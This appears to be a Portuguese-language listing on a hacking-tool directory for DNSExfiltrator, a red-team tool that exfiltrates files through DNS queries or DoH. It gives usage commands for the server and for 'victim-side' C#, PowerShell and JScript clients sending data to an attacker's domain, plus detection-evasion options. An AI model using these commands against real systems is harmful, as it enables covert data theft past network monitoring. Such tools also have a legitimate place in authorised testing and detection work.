Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
DNSExfiltrator — Exfiltração de dados via canal oculto de requisições DNS | Kitploit
Ferramentas/GitHubGitHub/arno0x/dnsexfiltrator
Exfiltração de DadosTestes de PenetraçãoRed TeamingAnálise de DNS
GitHubarno0x/dnsexfiltrator

DNSExfiltrator

Exfiltração de dados via canal oculto de requisições DNS

Ver Repositório
8841903há 8 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

DNSExfiltrator

Autor: Arno0x0x - @Arno0x0x

O DNSExfiltrator permite transferir (exfiltrar) um ficheiro através de um canal oculto de pedidos DNS. Trata-se basicamente de uma ferramenta de teste de fuga de dados que permite exfiltrar dados através de um canal oculto.

O DNSExfiltrator tem dois lados:

  1. O lado do servidor, que consiste num único script Python (dnsexfiltrator.py), que funciona como um servidor DNS personalizado, recebendo o ficheiro
  2. O lado do cliente (lado da vítima), que está disponível em três variantes:
  • dnsExfiltrator.cs: um script C# que pode ser compilado com csc.exe para produzir um executável Windows gerido
  • Invoke-DNSExfiltrator.ps1: um script PowerShell que fornece as mesmas funcionalidades ao encapsular o assembly do dnsExfiltrator
  • dnsExfiltrator.js: um script JScript que é uma conversão do assembly DLL do dnsExiltrator usando DotNetToJScript, e fornece as mesmas funcionalidades

Para que tudo funcione, deve possuir um nome de domínio e definir o registo DNS (NS) desse domínio para apontar para o servidor que irá executar o lado do servidor dnsexfiltrator.py.

Funcionalidades

Por predefinição, o DNSExfiltrator utiliza o servidor DNS definido pelo sistema, mas também pode definir um específico para usar (útil para fins de depuração ou para executar o lado do servidor localmente, por exemplo).

Alternativamente, utilizando o parâmetro h, o DNSExfiltrator pode realizar DoH (DNS sobre HTTP) utilizando os servidores DoH do Google ou CloudFlare.

Por predefinição, os dados a exfiltrar são codificados em base64URL para caberem nos pedidos DNS. No entanto, alguns resolvedores DNS podem quebrar esta codificação (justo, uma vez que os FQDN não devem ser sensíveis a maiúsculas/minúsculas de qualquer forma) ao alterar a sensibilidade das maiúsculas/minúsculas, o que é obviamente importante para o processo de codificação/descodificação. Para contornar este problema, pode usar o sinalizador -b32 para forçar a codificação Base32 dos dados, o que acarreta um pequeno overhead de tamanho. Se estiver a usar DoH do CloudFlare, a codificação base32 é aplicada automaticamente.

O DNSExfiltrator suporta encriptação RC4 básica dos dados exfiltrados, utilizando a palavra-passe fornecida para encriptar/desencriptar os dados.

O DNSExfiltrator também fornece algumas funcionalidades opcionais para evitar a deteção:

  • limitação de pedidos para permanecer mais furtivo ao exfiltrar dados
  • redução do tamanho do pedido DNS (por predefinição, tentará usar o máximo de bytes disponíveis em cada pedido DNS para eficiência)
  • redução do tamanho da etiqueta DNS (por predefinição, tentará usar o maior tamanho de etiqueta suportado, de 63 caracteres)

Dependências

A única dependência está no lado do servidor, pois o script dnsexfiltrator.py depende da biblioteca externa dnslib. Pode instalá-la usando pip:

root@kitploit:~
pip install -r requirements.txt

Uso

LADO DO SERVIDOR

Execute o script dnsexfiltrator.py passando o nome de domínio e a palavra-passe de desencriptação a usar:

root@kitploit:~
root@kali:~# ./dnsexfiltrator.py -d meudominio.com -p password

LADO DO CLIENTE

Pode ou usar a versão compilada, ou o wrapper PowerShell (que é basicamente a mesma coisa) ou o wrapper JScript. Em qualquer caso, os parâmetros são os mesmos, com apenas uma ligeira diferença na forma de os passar no PowerShell.

1/ Usando o executável Windows compilado em C# (que pode encontrar no diretório release):

root@kitploit:~
dnsExfiltrator.exe <ficheiro> <nomeDominio> <password> [-b32] [h=google|cloudflare] [s=<servidor_DNS>] [t=<tempoLimite>] [r=<tamanhoMaximoPedido>] [l=<tamanhoMaximoEtiqueta>]
      ficheiro:       [OBRIGATÓRIO] O nome do ficheiro a ser exfiltrado.
      nomeDominio:    [OBRIGATÓRIO] O nome de domínio a usar nos pedidos DNS.
      password:       [OBRIGATÓRIO] Palavra-passe usada para encriptar os dados a exfiltrar.
      -b32:           [OPCIONAL] Usa codificação base32 dos dados. Pode ser necessário se algum resolvedor DNS quebrar a sensibilidade a maiúsculas/minúsculas.
      h:              [OPCIONAL] Usa servidores DoH (DNS sobre HTTP) do Google ou CloudFlare.
      servidor_DNS:   [OPCIONAL] O nome ou IP do servidor DNS a usar nos pedidos. Predefinição: o do sistema.
      tempoLimite:    [OPCIONAL] O tempo em milissegundos a esperar entre cada pedido DNS.
      tamanhoMaximoPedido: [OPCIONAL] O tamanho máximo em bytes para cada pedido DNS. Predefinição: 255 bytes.
      tamanhoMaximoEtiqueta: [OPCIONAL] O tamanho máximo em caracteres para cada etiqueta (subdomínio) do pedido DNS. Predefinição: 63 caracteres.

2/ Usando o script PowerShell, bem, chame-o da forma que preferir (provavelmente conhece imensas formas de invocar um script PowerShell) juntamente com os parâmetros do script. Exemplo mais básico:

root@kitploit:~
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d meudominio.com -p password -s meu.servidor.dns.com -t 500
[...]

Consulte a secção EXEMPLOS no ficheiro do script para mais exemplos de utilização.

3/ Usando o script JScript, passe-lhe exatamente os mesmos argumentos que usaria com o executável Windows autónomo:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile meudominio.com password

Ou, com algumas opções:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile meudominio.com password s=meu.servidor.dns.com t=500

A FAZER

  • Alguns vão pedir encriptação AES em vez de RC4, eu sei... talvez adicione mais tarde
  • Mostrar tempo de transferência estimado
  • Melhorar a análise de argumentos (tenho demasiada preguiça para aprender a usar uma biblioteca de análise de argumentos em C#, gostaria que fosse tão simples como em Python)

AVISO

Esta ferramenta destina-se a ser utilizada apenas de forma legal e legítima:

  • seja nos seus próprios sistemas como forma de aprendizagem, de demonstrar o que pode ser feito e como, ou testar os seus mecanismos de defesa e deteção
  • em sistemas para os quais tenha sido oficial e legitimamente autorizado a realizar avaliações de segurança (testes de penetração, auditorias de segurança)

Citando os autores do Empire: Não há forma de construir ferramentas ofensivas úteis para a indústria legítima de segurança informática enquanto se impede simultaneamente que agentes maliciosos as utilizem indevidamente.

Baixar ferramenta